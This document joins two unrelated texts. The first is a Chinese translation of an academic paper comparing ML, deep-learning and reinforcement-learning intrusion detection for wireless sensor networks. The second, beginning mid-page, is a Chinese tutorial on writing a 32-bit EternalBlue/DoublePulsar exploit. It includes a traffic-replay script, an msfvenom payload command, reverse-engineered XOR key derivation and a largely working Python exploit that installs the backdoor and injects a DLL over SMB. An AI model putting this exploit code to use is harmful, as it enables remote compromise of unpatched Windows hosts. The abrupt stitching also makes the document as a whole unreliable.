志愿计算系统利用的是联网设备（笔记本电脑、PC、智能设备等），其所有者自愿将其作为存储和计算能力资源，已经成为众多应用中资源管理的重要机制。互联网中数据流量的增长和种类的增多，引起了（人们）对信息物理系统稳健性的关注，尤其是对关键基础设施方面。因此，实现一个高效的入侵检测系统来收集这些感知数据变得至关重要。在本文中，我们我们提出了一项人工智能(AI)驱动的入侵检测系统的比较研究，用于跟踪关键应用的无线连接传感器。具体来说，我们对机器学习、深度学习和强化学习解决方案的使用进行了深入分析，以识别收集到的流量中的入侵行为。我们在模拟中使用KDD’99作为真实攻击数据集来评估所提出的机制。结果显示了三种不同IDS的性能指标，即自适应监督和聚类混合IDS（ASCH-IDS）、受限玻尔兹曼机聚类IDS（RBC-IDS）和基于Q-learning的IDS（QL-IDS）来检测恶意行为。此外，我们还介绍了不同的强化学习技术，如“状态-行动-奖励-状态-行动”学习(SARSA)和时序差分学习(TD)的性能。通过模拟，我们证明了QL-IDS的检测率为100%，而SARSA-IDS和TD-IDS的检测率在99.5%左右。
CCS概念： **安全与隐私→入侵检测系统** ； **网络→网络模拟** ； **网络性能分析**
附加的关键词和短语：入侵检测、机器学习、深度学习、受限玻尔兹曼机、强化学习、无线传感器网络
**ACM参考格式** ： _Safa Otoum_ ， _Burak Kantarci_ 和 _Hussein Mouftah_ ,
2020。关键基础设施中基于AI的入侵检测技术比较研究。ACM Trans. Internet Technol. , (2020), 22页。
## 1.介绍
智能城市利用无线传感器的灵活性、自我部署和低成本的优势，来对其关键基础设施进行监控[1]。对关键基础设施的监控涉及到不同情况下的各种类型的传感器[2][3]。通过使用可靠和安全的数据汇聚和传输，可以满足医疗基础设施等关键基础设施的效率和可靠性[4][5]。传感器和它们之间的通信线路容易受到众多入侵者的攻击，这些入侵者可能会中断和操纵通信并传输的数据[6][7]。IDS是网络安全的重要组成部分，可以检测不同类型的入侵。在非常高的层次上，任何IDS的有效性取决于其检测到任何表现出入侵行为的恶意节点时发出警报的能力。IDS分为两套。基于异常的IDS和基于特征（基于签名）的IDS。前者旨在检测偏离正常行为的异常流量模式。为此，它建立特征的配置文件，以抓住所需的模式。提取的模式和所注意到的活动之间的差异可能导致报警。因此，理想情况下，基于异常的IDSs能够检测到未知的攻击。然而，值得注意的是，大多数IDS系统仍然存在假阳性(FP)决策的问题，即一个非恶意活动被标记为入侵事件[6]。除了基于异常的IDS外，签名式IDS采用规则补充机制，通过将系统活动与特定规则进行比较，来检测恶意行为。当注意到的活动符合已知的恶意模式时，就会检测到入侵事件。单纯采用基于特征的IDS的风险在于其在未知攻击的可能性上的精确度可能会低[6][8]。在之前的工作中，我们提出了几种基于人工智能(AI)的IDS方法，用于WSNs（无线传感器网络）监测关键基础设施[8][7]。所有这些方法都有以下共同的目的：特征检测和异常检测，通过遵循自适应监督程序，它们可以结合在IDS中。在本文中，我们对关键基础设施中的入侵检测进行了比较研究，比较了机器学习(随机森林和E-DBSCAN)、深度学习(受限玻尔兹曼机)和强化学习方法(Q-learning)的使用。我们还通过在之前提出的IDS中引入Q-learning、SARSA-learning和TD-learning的强化程序，来发展我们在[6][8][7]中提出的工作。本研究的主要贡献如下：
(1)这项工作直接针对志愿计算，将之前提出的IDS应用于分布式数据，并对IDS性能进行评估。
(2)它提出了一种入侵检测机制，其中引入了使用Q-learning的强化学习、SARSA学习和TD学习方法来估计IDS的性能。
(3)本文首次采用机器学习、深度学习和强化学习方法对IDS的评估进行了全面和比较的研究。
## 2.动机
WSNs因其自我部署、灵活性和低成本的优势，成为关键基础设施中的主要技术，尤其是在监测和控制过程中。监控关键基础设施涉及到各种现象下的众多传感器。在大多数关键基础设施中，WSNs部署在一个开放的自然环境中，因此，节点可能会受到不同的攻击，这些攻击可以操纵聚合的感知数据。通信线路也容易受到众多入侵者的攻击，这些入侵者可能会中断并操纵通信和传输的数据。WSNs需要提供一个可接受的安全级别，以实现免受攻击的环境、可靠和安全的数据聚合与传输[4]。入侵检测系统(IDS)是网络安全的重要组成部分，特别是对传感器网络来说，它可以检测不同类型的入侵。在很高的层次上，任何IDS的有效性取决于其检测到任何表现出入侵行为的恶意节点时发出警报的能力[8]。
本文其余部分的安排如下：第3节对本研究的相关工作进行布局。第4节介绍IDS的拓扑结构设置。第5节介绍了用于测试之前提出的IDS的方法。第6节介绍了实验和结果分析。最后，我们在第7节给出结论。
## 3.相关工作
已经有许多研究者提出过将机器学习与IDS整合。其中一些是针对未知的攻击[9]，而另一些则针对已知的攻击[10]。近年来，基于深度学习的技术已经被用于IDS中，并证明了它们在检测入侵行为方面的有效性[11][12]。
### **3.1 基于机器学习的IDS**
任何IDS的目标都是识别两种不同的行为模式：正常行为和恶意行为[13]。流行的机器学习算法旨在围绕一个中心点对行为模式进行聚类，它们是K-nearest
neighbour（K近邻均值）和K-means（K均值）[14]。作为一种有监督的方法，支持向量机(SVM)也已被纳入考虑[15]，它将数据平面划分成更小的超平面，还能自动选择特征。
基于自适应机器学习的IDS技术已经在许多研究中进行了测试，以提高分类的准确性，如[16]中提出的工作，研究人员通过展示自动化和自适应测试原型，提出了一个验证程序.[17]中的工作提出了一个自适应模型生成（AMG）作为模型生成器，它将实时自适应地工作以执行IDS。AMG可以实现对数据的实时评估，并将数据收集以及检测模型的生成和部署自动化。
据我们所知，针对已知和未知入侵者的关键基础设施的自适应IDS解决方案仍然是一个开放的问题。在ASCH-IDS中，我们提出了一种动态调整技术，用于调整转发到异常和误用检测子系统的汇总感知数据的比例。
### **3.2 基于深度学习的IDS**
深度学习方法已被应用于IDS，并取得了高精确度的结果[18][19][20]。在[21]中，作者测试了深度信念网络(DBN)在入侵模式检测中的能力。在[18]中作者将DBN和SVM结合起来，引入了一种混合IDS方法，其中DBN作为特征选择器，SVM作为分类器。该混合方法的准确率达到≈92%。作者在[22]中提出了一种部分监督学习方法，其中分类器只用正常流量进行训练，因此任何关于恶意行为的知识都可以动态演化。作者将判别式受限玻尔兹曼机(DRBM)作为一种基于能量的分类器应用于异常检测。
高维度在大数据应用中是一个宏大的挑战，因此作者在[23]中应用自动编码器在IDS的第一阶段降低维度，提取DBN的特征，对异常和正常行为模式进行分类。
深度学习已经被引入到分布式计算中，如[24]和[25]中提出的作品。深度学习已经被引入到分布式计算中，如[24]和[25]中提出的作品。在[24]中，作者提出了模糊到事物计算中基于深度学习的网络攻击检测机制。在[25]中的工作证明了基于云的基础设施的灵活性以及在大规模机器学习领域的增强，以便将最高的计算和存储任务转移到云端，以受益于边缘计算能力。
### **3.3基于强化学习的IDS**
强化学习（Reinforcement
Learning，RL）被认为是机器学习的一种延伸，它涉及到代理人采取行动来把奖励的概念最大化。在此之前，已有多篇研究将强化学习过程应用于IDSs中。在[26]中，研究者提出了一种分布式强化学习方法，在这种方法中，每个代理（即传感器）分析状态观测值，并将其传达给中心代理。级别较高的代理具备分析所收集数据的知识，他们将整体的异常状态报告给网络运营商[26]。作者在[27]中提出了强化学习–基于主机的IDS技术，通过一系列的系统调用，提出了一个马尔科夫奖励过程（MRP）来复制系统调用系列的行为，其中入侵检测问题被转换为预测MRP值函数。在[28]中介绍的工作提出了一种利用追求强化竞争学习(PRCL)进行在线聚类检测入侵的方法。研究人员在[29]中提出了一种自适应神经网络的入侵检测方法，利用强化学习方法自主检测新的攻击。在[30]中提出的工作利用数据流信息、强化学习和铺片编码（tile
coding）来检测基于洪泛的分布式拒绝服务（DDoS）攻击。
为此，利用基于Q的、状态-行动-奖励-状态-行动(SARSA)学习和时间差分学习(TD)强化学习，对适用于已知和未知攻击的关键监控基础设施的IDS进行全面的比较/评估，仍然是一个有待解决的问题。
## 4.系统模型
我们将之前工作[6]中所提出的基于WSN的关键基础设施监控的IDS模型，应用到志愿计算架构中。
IDS由N集群组成，每个集群中都有C传感器。感知数据的聚合是由簇首（CH）负责，它从传感器收集数据，并将其引导到安装在中央节点即服务器上的IDS。然后再对聚合数据进行入侵检测。IDS包括：
1. 第4.1章节中的加权簇首选择；
2. 第4.2章节中的数据聚合；
3. 第5章节中的检测方法。
而整个手稿所使用的注释都列在表1中。
### **4.1加权簇首(CH)选择**
采用了簇首(CH)选择法进行数据收集和原因处理。
簇首(CH)选择法是通过使用选择技术来实现的，即计算每个传感器节点的权重，并与其他节点的权重进行比较[31]。每个节点都有一个Gn权重，是它(RSSIsum)的函数，指的是其接收信号强度、迁移率和度。权重计算之后，节点将其权重与其唯一标识符（ID）一起广播。然后，它继续与邻近节点的权重进行比较，比如获得最低权重的传感器节点被选为CH[31][8][6]。
权重取决于以下四个要素：迁移率和度差，是指不包括CH容量、累计时间和RSSIsum的节点度。选择过程经过的步骤如算法1所示
其中Dn指节点n的度，Γ代表CH容量(即节点数)；∂n指n的度差，SRSstrength（n）代表n接收信号强度的总和；Mˇn代表节点n
的迁移率系数；ℏn指节点n的累计时间，而Gn代表节点n的综合权重。在算法1中，n指的是任意节点，相应地，g _ℏn_ 、g _m、gsum_ 和 _gd_
指的是ℏn、Mˇn和∂n。
### **4.2数据聚合流程**
每个CH从其对应的传感器收集数据，并将其发送到接收器。在我们之前和现在正在进行的研究中采用了[32]中提出的方法作为聚合流程。该方法依靠通过跟踪传感器的信任分数与估计传感器和聚合器之间的信任度来评估聚合器的信任分数[32]。公式(1)计算了CH的信任分数[32]，其中TCH表示CH的信任值，Tn是节点n的信任值，而为CH和节点n的信任估计值。
### **参考文献（第一部分）**
[1] I. Al-Ridhawi, S. Otoum, M. Aloqaily, Y. Jararweh, and Th. Baker.
Providing secure and reliable communication for next generation networks in
smart cities. _Sustainable Cities and Society_ , 56:102080, 2020.
[2] L. Buttyan, D. Gessner, A. Hessler, and P. Langendoerfer. Application of
wireless sensor networks in critical infrastructure protection: challenges and
design options [security and privacy in emerging wireless networks]. _IEEE
Wireless Communications_ , 17(5):44–49, October 2010.
[3] Ismaeel Al Ridhawi, Yehia Kotb, Moayad Aloqaily, Yaser Jararweh, and Thar
Baker. A profitable and energy-efficient cooperative fog solution for iot
services. _IEEE Transactions on Industrial Informatics_ , 16(5):3578–3586,
2019.
[4] Safa Otoum, Burak Kantraci, and Hussein T. Mouftah. Hierarchical trust-based black-hole detection in wsn-based smart grid monitoring. _IEEE
International Conference on Communications (ICC)_ , 2017.
[5] M. Al-Khafajiy, S. Otoum, TH. Baker, M. Asim, Z. Maamar, M. Aloqaily, MJ.
Taylor, and M. Randles. Intelligent control and security of fog resources in
healthcare systems via a cognitive fog model. _ACM Transactions on Internet
Technology_ , 2020.
[6] Safa Otoum, Burak Kantarci, and Hussein T. Mouftah. Detection of known and
unknown intrusive sensor behavior in critical applications. _IEEE Sensors
Letters_ , 1(5):1–4, Oct 2017.
[7] Safa Otoum, Burak Kantraci, and Hussein T. Mouftah. Adaptively supervised
and intrusion-aware data aggregation for wireless sensor clusters in critical
infrastructures. In _IEEE International Conference on Communications (ICC)_ ,
pages 1–6, May 2018.
[8] Safa Otoum, Burak Kantraci, and H. T. Mouftah. Mitigating false negative
intruder decisions in wsn-based smart grid monitoring. In _13th International
Wireless Communications and Mobile Computing Conference (IWCMC)_ , pages
153–158, June 2017.
[9] R. Jain and H. Shah. An anomaly detection in smart cities modeled as
wireless sensor network. In _International Conference on Signal and
Information Processing (IConSIP)_ , pages 1–5, Oct 2016.
[10] C. Ioannou, V. Vassiliou, and C. Sergiou. An intrusion detection system
for wireless sensor networks. In _24th International Conference on
Telecommunications (ICT)_ , pages 1–5, May 2017.
[11] Ahmad Javaid, Quamar Niyaz, Weiqing Sun, and Mansoor Alam. A deep
learning approach for network intrusion detection system. In _Proceedings of
the 9th EAI International Conference on Bio-inspired Information and
Communications Technologies (Formerly BIONETICS)_ , pages 21–26, 2016.
[12] C. Yin, Y. Zhu, J. Fei, and X. He. A deep learning approach for intrusion
detection using recurrent neural networks. _IEEE Access_ , 5:21954–21961,
2017.
[13] L. Dali, A. Bentajer, E. Abdelmajid, K. Abouelmehdi, H. Elsayed, E.
Fatiha, and B. Abderahim. A survey of intrusion detection system. In _2nd
World Symposium on Web Applications and Networking (WSWAN)_ , pages 1–6, March
2015.
[14] Stefano Zanero and Sergio M. Savaresi. Unsupervised learning techniques
for an intrusion detection system. In _ACM Symposium on Applied Computing_ ,
SAC ’04, pages 412–419, New York, NY, USA, 2004. ACM.
[15] Nico Görnitz, Marius Kloft, Konrad Rieck, and Ulf Brefeld. Active
learning for network intrusion detection. In _Proceedings of the 2Nd ACM
Workshop on Security and Artificial Intelligence_ , AISec ’09, pages 47–54,
New York, NY, USA, 2009. ACM.
[16] J. Straub. Testing automation for an intrusion detection system. In _IEEE
Autotestcon_ , pages 1–6, Sept 2017.
[17] Andrew Honig, Andrew Howard, Eleazar Eskin, and Sal Stolfo. Adaptive
model generation: An architecture for deployment of data mining-based
intrusion detection systems. pages 153–194. Kluwer Academic Publishers, 2002.A
Comparative Study of AI-based Intrusion Detection Techniques in Critical
Infrastructures 21
[18] Mostafa A. Salama, Heba F. Eid, Rabie A. Ramadan, Ashraf Darwish, and
Aboul Ella Hassanien. Hybrid intelligent intrusion detection scheme. In
António Gaspar-Cunha, Ricardo Takahashi, Gerald Schaefer, and Lino Costa,
editors, _Soft Computing in Industrial Applications_ , pages 293–303, Berlin,
Heidelberg, 2011. Springer Berlin Heidelberg.
[19] Arnaldo Gouveia and Miguel Correia. _A Systematic Approach for the
Application of Restricted Boltzmann Machines in Network Intrusion Detection_ ,
volume 10305. 05 2017.
[20] Yazan Otoum, Dandan Liu, and Amiya Nayak. Dl-ids: a deep learning–based
intrusion detection framework for securing iot. _Transactions on Emerging
Telecommunications Technologies_ , n/a(n/a):e3803. e3803 ett.3803.
[21] M. Z. Alom, V. Bontupalli, and T. M. Taha. Intrusion detection using deep
belief networks. In _National Aerospace and Electronics Conference (NAECON)_ ,
pages 339–344, June 2015.
[22] Ugo Fiore, Francesco Palmieri, Aniello Castiglione, and Alfredo De
Santis. Network anomaly detection with the restricted boltzmann machine.
_Neurocomputing_ , 122:13 – 23, 2013.
[23] Yuancheng Li, Rong Ma, and Runhai Jiao. A hybrid malicious code detection
method based on deep learning. 9:205–216, 05 2015.
[24] A. Abeshu and N. Chilamkurti. Deep learning: The frontier for distributed
attack detection in fog-to-things computing. _IEEE Communications Magazine_ ,
56(2):169–175, Feb 2018.
[25] Rafał Kozik, Michał Choraś, Massimo Ficco, and Francesco Palmieri. A
scalable distributed machine learning approach for attack detection in edge
computing environments. _Journal of Parallel and Distributed Computing_ ,
119:18 – 26, 2018.
[26] Arturo Servin and Daniel Kudenko. Multi-agent reinforcement learning for
intrusion detection. In _Adaptive Agents and Multi-Agent Systems III.
Adaptation and Multi-Agent Learning_ , pages 211–223, Berlin, Heidelberg,
2008. Springer Berlin Heidelberg.
[27] Xin Xu and Tao Xie. A reinforcement learning approach for host-based
intrusion detection using sequences of system calls. In _Advances in
Intelligent Computing_ , pages 995–1003, Berlin, Heidelberg, 2005. Springer
Berlin Heidelberg.
[28] Indah Tiyas, Ali Barakbah, Tri Harsono, and Amang Sudarsono. Reinforced
intrusion detection using pursuit reinforcement competitive learning. _EMITTER
International Journal of EngineeringTechnology_ , 2(1):39–49, 2014.
[29] James Cannady Georgia. Next generation intrusion detection: Autonomous
reinforcement learning of network attacks. In _In Proceedings of the 23rd
National Information Systems Secuity Conference_ , pages 1–12, 2000.
[30] Arturo Servin. Towards traffic anomaly detection via reinforcement
learning and data flow. pages 81–88.
[31] Fatma Belabed and Ridha Bouallegue. An optimized weight-based clustering
algorithm in wireless sensor networks. _2016 International Wireless
Communications and Mobile Computing Conference (IWCMC)_ , 2016.
[32] Wei Zhang, Sajal Das, and Yonghe Liu. A trust based framework for secure
data aggregation in wireless sensor networks. _IEEE Communications Society on
Sensor and Ad Hoc Communications and Networks_ , 2006. | 社区文章 |
# 【技术分享】EternalBlue之32位exploit编写(一)
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：[東](http://bobao.360.cn/member/contribute?uid=2554610746)
预估稿费：400RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
距离shadowbrokers团队放出NSA的这批黑客工具也有两月之久了,其中的一个名叫"永恒之蓝"的漏洞模块被疯狂地在野外利用,相信网友们如果没有经历过WannaCry
勒索软件的淫威,重视度可能也远不如之前刚放出来时,任何人都可以用着fuzzbunch这个工具集成模块去攻击别人,fb.py这个集合了他子目录下的一些exploit被热心网友们玩的不亦乐乎的同时,地下的自由职业者也忙的不可开交各类变种勒索软件不断涌现,当然今天主角也不是勒索软件,今天我们着重从协议上分析一下
**eternalblue的攻击的数据流** ，然后试着重放这些数据。
**
**
**实验环境**
网络环境:局域网
攻击ip:192.168.157.129(win7_x86)
靶机ip:192.168.157.131(win7_x86)
工具:NSA的fb.py、wireshark、python、hex editor、
**实验步骤**
**第一步:使用fb.py中的eternalblue模块走一遍正常攻击流程 开wireshark把攻击过程的数据截获
**
接着我们就轻车熟路的打开了shadowbrokers的fb.py 去攻击192.168.157.129 攻击过程我就不阐述了 网上很多参考
攻击完毕回头就看下wireshark捕捉到的SMB数据包
这里用到的Eternalblue模块这个模块 在这个模块执行之前是没有数据的,执行之后wireshark捕捉到了数据
这个说白了就是个利用Eternalblue利用漏洞安装后门的一个过程,接着重新捕获数据
我们使用Doublepulsar这个模块,这模块功能定义上类似于meterprete而前面的则属于exploit模块吧
msfvenom -p windows/exec CMD="calc.exe" -f dll >
/test.dll这样生成就可以,上面我用Doublepuls注入的dll是用msf生的 注入的进程我选择了资源管理器的
这次的数据包明显比上一个少了很多。接着我们着重分析这两个流内的数据。
**第二步:分析fb.py动作产生的数据流**
我们先来看一下SMB协议的定义
// 8 unsigned bits
typedef unsigned short USHORT; // 16 unsigned bits
typedef unsigned long ULONG; // 32 unsigned bits
typedef struct {
ULONG LowPart;
LONG HighPart;
} LARGE_INTEGER; // 64 bits of data
typedef struct {
UCHAR Protocol[4]; // Contains 0xFF,'SMB'
UCHAR Command; // Command code
union {
struct {
UCHAR ErrorClass; // Error class
UCHAR Reserved; // Reserved for future use
USHORT Error; // Error code
} DosError;
ULONG Status; // 32-bit error code
} Status;
UCHAR Flags; // Flags
USHORT Flags2; // More flags
union {
USHORT Pad[6]; // Ensure section is 12 by
struct {
USHORT PidHigh; // High Part of PID
UCHAR SecuritySignature[8]; // reserved for MAC
} Extra;
};
USHORT Tid; // Tree identifier
USHORT Pid; // Caller’s process ID, opaque for
client use
USHORT Uid; // User id
USHORT Mid; // multiplex id
UCHAR WordCount; // Count of parameter words
} SMB_HEADER;
接着再看下eternalblue数据包中的数据流 这么多的会话 我用脚本把他们生成了可替换的数据字节并保存起来
win7后门安装的数据流已经有人在github上公开了,方法大同小异吧 follow stream 其实要紧的是能把这步自动化才是极好的
二十多个流自己去follow眼睛恐怕要累瞎,写了个不太完善的脚本
import binascii
import struct
pcap_file = "smb3.pcap"
output_file = "BackdoorInstall.replay"
def wf(filename,data):
fp=open(filename,"wb")
fp.write(data)
fp.close()
def rf(filename):
fp=open(filename,"rb")
data=fp.read()
fp.close()
return data
# 分析数据包
def anlyse(all_data):
data_len = len(all_data)
ncount = 0
now_index = 40 #pcap 24,间隔 16，protoheader 54, tcp+ipheader 20+20
array = []
while now_index < data_len:
one_len = struct.unpack(">H",all_data[now_index+16:now_index+18])[0] -40
if(all_data[now_index+34:now_index+36] != "x01xbd"):#不是445表示发送端
data_temp = ""
array_temp = all_data[now_index+54:now_index +54+one_len]
for i in range(one_len):
data_temp = data_temp + "\x" + binascii.b2a_hex(array_temp[i])
array.append("('send',1,b'" + data_temp + "',0.01)rnrn")
else:
array.append("('recv', 1, 0.01)rnrn")
now_index = now_index + one_len + 16 + 54
ncount += 1
print ncount,":",one_len
return array,ncount
if __name__ == "__main__":
array , ncount = anlyse(rf(pcap_file))
data_replay = "('connect', 1, 0.01)rnrn"
data_replay2 = data_replay
j = 1
for i in range(ncount):
data_replay += array[i]
if(array[i].find("send") != -1):#如果是send
data_replay2 = data_replay2 + "#" + str(j) + array[i]
j += 1
else:
data_replay2 += array[i]
data_replay += "('close', 1, 0.01)"
data_replay2 += "('close', 1, 0.01)"
wf(output_file,data_replay)
wf(output_file+".listrec",data_replay2)#这个是记录send顺序的文件
print "over!"
**第三步:分析Doublepulsar注入动作产生的数据流并提取**
接下来分析Doublepulsar的apc注入部分
可以看到七个SMB的request,接着就去搞清其中字段的含义,在我们不知道他每个字段都是什么意思的前提下我们就不用去改他,不是说一点不改,最起码的SMB
head
length这些基本数据包的知识我们知道了就可以去修改,怎么检测自己的手动发的数据包是否和NSA工具发的包一样呢?一共是7个包对应七个请求,用python发包,然后recv回来的数据和我们用wireshark抓到工具复现的包相同就说明自己包没问题然后接着去发下一条请求再去判断。
#smb 头是32字节 请求包50字节 以下一行30字节 smb版本
First_Request = "x00x00x00x85xFFx53x4Dx42x72x00x00x00x00x18x53xC0x00x00x00x00x00x00x00x00x00x00x00x00x00x00xFFxFEx00x00x40x00x00x62x00x02x50x43x20x4Ex45x54x57x4Fx52x4Bx20x50x52x4Fx47x52x41x4Dx20x31x2Ex30x00x02x4Cx41x4Ex4Dx41x4Ex31x2Ex30x00x02x57x69x6Ex64x6Fx77x73x20x66x6Fx72x20x57x6Fx72x6Bx67x72x6Fx75x70x73x20x33x2Ex31x61x00x02x4Cx4Dx31x2Ex32x58x30x30x32x00x02x4Cx41x4Ex4Dx41x4Ex32x2Ex31x00x02x4Ex54x20x4Cx4Dx20x30x2Ex31x32x00"
#windows系统版本Second_Request ="x00x00x00x88xFFx53x4Dx42x73x00x00x00x00x18x07xC0x00x00x00x00x00x00x00x00x00x00x00x00x00x00xFFxFEx00x00x40x00x0DxFFx00x88x00x04x11x0Ax00x00x00x00x00x00x00x01x00x00x00x00x00x00x00xD4x00x00x00x4Bx00x00x00x00x00x00x57x00x69x00x6Ex00x64x00x6Fx00x77x00x73x00x20x00x32x00x30x00x30x00x30x00x20x00x32x00x31x00x39x00x35x00x00x00x57x00x69x00x6Ex00x64x00x6Fx00x77x00x73x00x20x00x32x00x30x00x30x00x30x00x20x00x35x00x2Ex00x30x00x00x00"
第三个请求有点问题就是目标ipc主机的ip 因为ip的Length不是固定的所以这里采用chr(len(str_ip))方式来写进NetBIOS
还有一点就是我们如何自定义ip 这里是UNICODE编码注意下 所以写了一个转Unicode的方法
def make_unicode_host(org_host):host_len = len(org_host)new_host = ""for i in range(host_len):new_host =new_host + "x00" + org_host[i]return new_host
Third_Request ="x00x00x00"+chr(len(str_ip))+"xFFx53x4Dx42x75x00x00x00x00x18x07xC0x00x00x00x00x00x00x00x00x00x00x00x00x00x00xFFxFEx00x08x40x00x04xFFx00x60x00x08x00x01x00x35x00x00x5Cx00x5C"+ make_unicode_host(HOST)+"x00x5Cx00x49x00x50x00x43x00x24x00x00x00x3Fx3Fx3Fx3Fx3Fx00"
Fourth_Request ="x00x00x00x4ExFFx53x4Dx42x32x00x00x00x00x18x07xC0x00x00x00x00x00x00x00x00x00x00x00x00x00x08xFFxFEx00x08x41x00x0Fx0Cx00x00x00x01x00x00x00x00x00x00x00x40x69x7Ax00x00x00x0Cx00x42x00x00x00x4Ex00x01x00x0Ex00x0Dx00x00x00x00x00x00x00x00x00x00x00x00x00x00"
看第五个请求.内容很多看下面的大小是4096个字节猜测smb最多一次就发送4096个字节,下一个请求包和这个请求应该是有联系的。这时候猜测可能就是后门一些操作了
而且这些字符显然是加密的
看第六个请求:1800个字节,猜测应该是一个文件传输的结束.文件未出现了出现了“85 79 52 a6 85 79 5a
81”这串字符串我们注入的是dll而熟悉PE文件的人应该知道dll的MZ头是
4D5A,而dll文件是以00 00 00 00 00…结尾。数据包里面没有4D5A这个hex值,推测是把shellcode和dll的hex一块加密大小为
4096+1800
看第六个包设想数据包的加密方式如果是异或那么只要秘钥为7985a15a(小端存储)才能将数据包中的dll尾部数据还原为00 00 00
****
**第四步:多次对比数据包定位用户随机秘钥**
有了秘钥那我们用秘钥把前面的shellcode也解密然后再加上我们自己dll再用秘钥加密发送不就可以了么。事实证明也不是这样的密钥是随机生成的
上面提到如果7985a15a是秘钥的话才能将dll尾部数据还原为0 可事实是,每次用NSA工具重现的时候生成的秘钥都是不一样的,而且我也发现个有意思的地方
当秘钥是7985a15a时工具中给你显示出了这样一段数据
这正是我们要找的秘钥。它在工具里面显示了,这时候要知道 fb.py这只是个框架,功能都是由他去调用分目录下的脚本,比如说eternalblue
比如说Doublepulsar,也是fb.py的一个框架
但Doublepulsar不是脚本,它是一个exe,我们就去逆向一下这个exe看看秘钥是怎么计算的
直接搜索XOR_Key然后ctrlX来到引用处F5
回溯v21 经过多次复现对比秘钥发现了在第四次的返回包中signature字段发生了变化 其余请求的返回包中的signature字段都为00000000
读到返回包用py切片return smb_data[18:22]把Signature前四个字节取出 然后转为小端存储
struct.unpack("<I",get_smb_signature(smb_data))[0]
然后就来到了SUB_402F10函数中v21的处理流程 简化了一下程序的处理
x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8)))
x = x & 0xffffffff
得到的x就是工具中显示的XOR_Key :xxxxxx 我们还要把他转换成数据包里的秘钥小端变大端 key=struct.pack("<I",int_key)
最终得到的key就是我们要对shellcode+dll的数据加密解密的秘钥了
Seventh_Request="x00x00x00x23xFFx53x4Dx42x71x00x00x00x00x18x07xC0x00x00x00x00x00x00x00x00x00x00x00x00x00x08xFFxFEx00x08x42x00x00x00x00"
Eighth_Request="x00x00x00x27xFFx53x4Dx42x74x00x00x00x00x18x07xC0x00x00x00x00x00x00x00x00x00x00x00x00x00x08xFFxFEx00x08x42x00x02xFFx00x27x00x00x00"
**第五步:构造完整的exploit**
#!/usr/bin/python
# -*- coding: utf-8 -*- import socket
import time
import ast
import binascii
import struct
HOST ='192.168.110.128'
PORT = 445
dllfile = "x86.dll"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((HOST,PORT))
def Install_Backdoor():
backlog = open("eternalblue.replay").read().split("nn")
backlog = [ast.literal_eval(i) for i in backlog]
connections = []
start = time.time()
for i in backlog:
delta = i[-1] - (start - time.time())
print(i[0], delta)
if delta > 0:
time.sleep(delta)
start = time.time()
if i[0] == "connect":
sock = socket.socket()
sock.connect((HOST , PORT ))
connections.append({"socket":sock,"stream" : i[1]})
if i[0] == "close":
[j['socket'].close() for j in connections if j["stream"] == i[1]]
if i[0] == "send":
[j['socket'].send(i[2]) for j in connections if j["stream"] == i[1]]
if i[0] == "recv":
[j['socket'].recv(2048) for j in connections if j['stream'] == i[1]]
def calculate_doublepulsar_xor_key(s):
"""Calaculate Doublepulsar Xor Key
"""
x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8)))
x = x & 0xffffffff # this line was added just to truncate to 32 bits
return x
def make_unicode_host(org_host):
host_len = len(org_host)
new_host = ""
for i in range(host_len):
new_host =new_host + "x00" + org_host[i]
return new_host
def get_smb_signature(smb_data):
return smb_data[18:22]
def get_key(smb_data):
smb_sign = struct.unpack("<I",get_smb_signature(smb_data))[0]
#print "smb_sign:","0x%X"%(smb_sign)
int_key = calculate_doublepulsar_xor_key(smb_sign)
print "int_key:","0x%X"%(int_key)
key=struct.pack("<I",int_key)
#print "key:",binascii.b2a_hex(key)
return key
def xor_data(org_data , key):
#异或加密
newdata = ""
for i in range(len(org_data)):
newdata += chr(ord(org_data[i]) ^ ord(key[i%len(key)]))
#print binascii.b2a_hex(newdata)
return newdata
def make_smb_request(send_data , key):
data_len = len(send_data)
array = []
ncount = data_len / 4096
if (data_len % 4096) > 0:
ncount += 1
make_data =""
for i in range(ncount):
if i < ncount-1:
smb_Length = struct.pack(">H",4096 +32 +34 + 12)
#print binascii.b2a_hex(smb_Length)
totalDataCount = struct.pack("<H",4096)
byteCount = struct.pack("<H",4096 + 13)
make_data = send_data[i*4096:(i+1)*4096]
else:
smb_Length = struct.pack(">H",data_len - 4096*i +32 +34 + 12)
totalDataCount = struct.pack("<H",data_len - 4096*i)
byteCount = struct.pack("<H",data_len - 4096*i+ 13)
make_data = send_data[i*4096:]
netBIOS_header = "x00x00"+ smb_Length
smb_header = "xFFx53x4Dx42x32x00x00x00x00x18x07xC0x00x00x00x00x00x00x00x00x00x00x00x00x00x08xFFxFEx00x08x42x00"
transRequest_header = "x0Fx0Cx00"+ totalDataCount +"x01x00x00x00x00x00x00x00xE5x69x7Ax00x00x00x0Cx00x42x00"+totalDataCount+"x4Ex00x01x00x0Ex00"+ byteCount +"x00"
data_header = "x08x27x00x00"+totalDataCount+"x00x00x00"+chr(i*0x10)+"x00x00"
print "data_header:",binascii.b2a_hex(data_header)
print len(data_header)
array.append(netBIOS_header + smb_header +transRequest_header + xor_data(data_header + make_data,key))
return array , ncount
if __name__ == "__main__":
#安装后门
Install_Backdoor()
#print "------Install backdoor done!------"
#上传并执行dll
#smb 头是32字节 请求包50字节 ，以下一行30字节
#smb版本
step_0_data = "x00x00x00x85xFFx53x4Dx42x72x00x00x00x00x18x53xC0x00x00x00x00x00x00x00x00x00x00x00x00x00x00xFFxFEx00x00x40x00x00x62x00x02x50x43x20x4Ex45x54x57x4Fx52x4Bx20x50x52x4Fx47x52x41x4Dx20x31x2Ex30x00x02x4Cx41x4Ex4Dx41x4Ex31x2Ex30x00x02x57x69x6Ex64x6Fx77x73x20x66x6Fx72x20x57x6Fx72x6Bx67x72x6Fx75x70x73x20x33x2Ex31x61x00x02x4Cx4Dx31x2Ex32x58x30x30x32x00x02x4Cx41x4Ex4Dx41x4Ex32x2Ex31x00x02x4Ex54x20x4Cx4Dx20x30x2Ex31x32x00"
s.sendall(step_0_data)
data = s.recv(1024)
print 0,data
#windows系统版本
